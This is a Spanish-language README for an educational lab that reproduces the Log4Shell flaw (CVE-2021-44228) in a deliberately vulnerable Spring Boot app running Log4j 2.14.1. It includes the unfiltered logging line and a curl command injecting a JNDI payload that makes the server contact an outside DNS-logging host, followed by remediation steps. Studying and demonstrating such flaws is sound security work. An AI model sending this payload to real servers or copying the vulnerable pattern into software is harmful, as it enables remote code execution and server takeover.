🔓 Demostración de la vulnerabilidad Log4Shell (CVE-2021-44228)

Este proyecto es un entorno de prueba controlado que permite reproducir y comprender la falla crítica Log4Shell (CVE-2021-44228) que afecta a la biblioteca Apache Log4j.

---

📁 Arquitectura del proyecto

Secutp1/
├── Dockerfile                           # Construcción de la imagen Docker
├── pom.xml                              # Dependencias Maven (Log4j 2.14.1 vulnerable)
├── README.md                            # Este archivo
└── src/
    └── main/
        └── java/
            └── com/
                └── example/
                    └── VulnerableApplication.java   # Aplicación Spring Boot vulnerable

---

🎯 Objetivo

Demostrar cómo un atacante puede explotar la falla CVE-2021-44228 para forzar a un servidor a realizar una conexión de red saliente no autorizada, simplemente enviando una cadena de caracteres maliciosa.

---

🔍 Análisis del código vulnerable

1. Gestión de dependencias (pom.xml)

El archivo pom.xml fuerza el uso de Log4j 2.14.1, una versión anterior al parche de seguridad:

<log4j2.version>2.14.1</log4j2.version>

Esta versión contiene la clase JndiLookup activada por defecto, que es la raíz del problema.

2. Aplicación Java (VulnerableApplication.java)

La aplicación expone un servicio web REST. La vulnerabilidad se encuentra en el método index:

@GetMapping("/")
public String index(@RequestParam(name = "input", required = false, defaultValue = "test") String input) {
    // LA LÍNEA VULNERABLE:
    logger.info("Requête reçue, input : " + input);
    return "Bonjour ! Votre input a été loggé : " + input;
}

Problema : La aplicación obtiene un parámetro de usuario (input) y lo pasa directamente a logger.info() sin ningún filtrado. Log4j interpreta entonces el contenido como un comando potencial.

3. Infraestructura Docker (Dockerfile)

El Dockerfile utiliza una construcción en dos etapas:

• Etapa 1 : Compilación con Maven (maven:3.8.4-openjdk-11)
• Etapa 2 : Ejecución con eclipse-temurin:11-jre

💡 El uso de Java 11 es relevante porque las versiones más recientes restringen por defecto la carga de clases remotas.

---

⚙️ Mecanismo del ataque

La explotación se basa en la inyección JNDI (Java Naming and Directory Interface):

1. Log4j detecta la sintaxis ${jndi:protocolo://url} en los logs
2. Intenta dinámicamente conectarse a la URL especificada
3. En un escenario real, esto permite descargar y ejecutar una clase Java maliciosa (RCE)

---

🧪 Procedimiento de explotación paso a paso

Paso 1 : Preparación

Asegúrese de que los siguientes archivos estén en la misma carpeta:

• Dockerfile
• pom.xml
• src/main/java/com/example/VulnerableApplication.java

Paso 2 : Construcción de la imagen Docker

docker build -t vulnerable-app .

Este comando descarga las dependencias Maven (Log4j 2.14.1) y crea la imagen.

Paso 3 : Inicio del contenedor

docker run -p 8080:8080 --name demo-log4j vulnerable-app

La aplicación ahora escucha en el puerto 8080.

Paso 4 : Preparación del testigo (Listener)

1. Diríjase a un servicio de logging DNS:

   • dnslog.cn
   • dnslog.org
   • Burp Collaborator

2. Copie la dirección proporcionada (ej: mi-prueba.dnslog.cn)

Paso 5 : Inyección del payload

En una nueva terminal, ejecute el siguiente comando:

curl "http://localhost:8080/?input=\${jndi:ldap://mi-prueba.dnslog.cn/a}"

📝 Nota : El carácter \ sirve para escapar el $ en el terminal.

Paso 6 : Verificación

Vuelva al sitio dnslog. Verá una consulta DNS aparecer, confirmando que el servidor ejecutó el código inyectado.

---

📊 Resultado esperado

Paso	Acción
1	La aplicación Java recibe la solicitud HTTP
2	La línea logger.info(...) procesa el parámetro input
3	Log4j detecta la sintaxis ${jndi:...}
4	Log4j ejecuta la resolución LDAP hacia el servidor remoto
5	Aparece una consulta DNS en la interfaz DNSLog

---

🚨 Conclusión

El servidor realizó una conexión saliente hacia una máquina externa simplemente al registrar una solicitud de usuario.

En un escenario real, esta conexión habría permitido:

• Descargar una clase Java maliciosa
• Ejecutar código arbitrario (RCE - Remote Code Execution)
• Tomar el control total del servidor

---

🛡️ Remediación

Para corregir esta vulnerabilidad:

1. Actualizar Log4j a la versión 2.17.1 o superior
2. Deshabilitar los lookups JNDI : -Dlog4j2.formatMsgNoLookups=true
3. Eliminar la clase JndiLookup del classpath

---

📚 Referencias

• CVE-2021-44228 - NVD
• Apache Log4j Security Vulnerabilities
• ANSSI - Vulnerabilidad Log4Shell

---

📜 Licencia

Este proyecto se proporciona únicamente con fines educativos. Úselo de manera responsable y ética.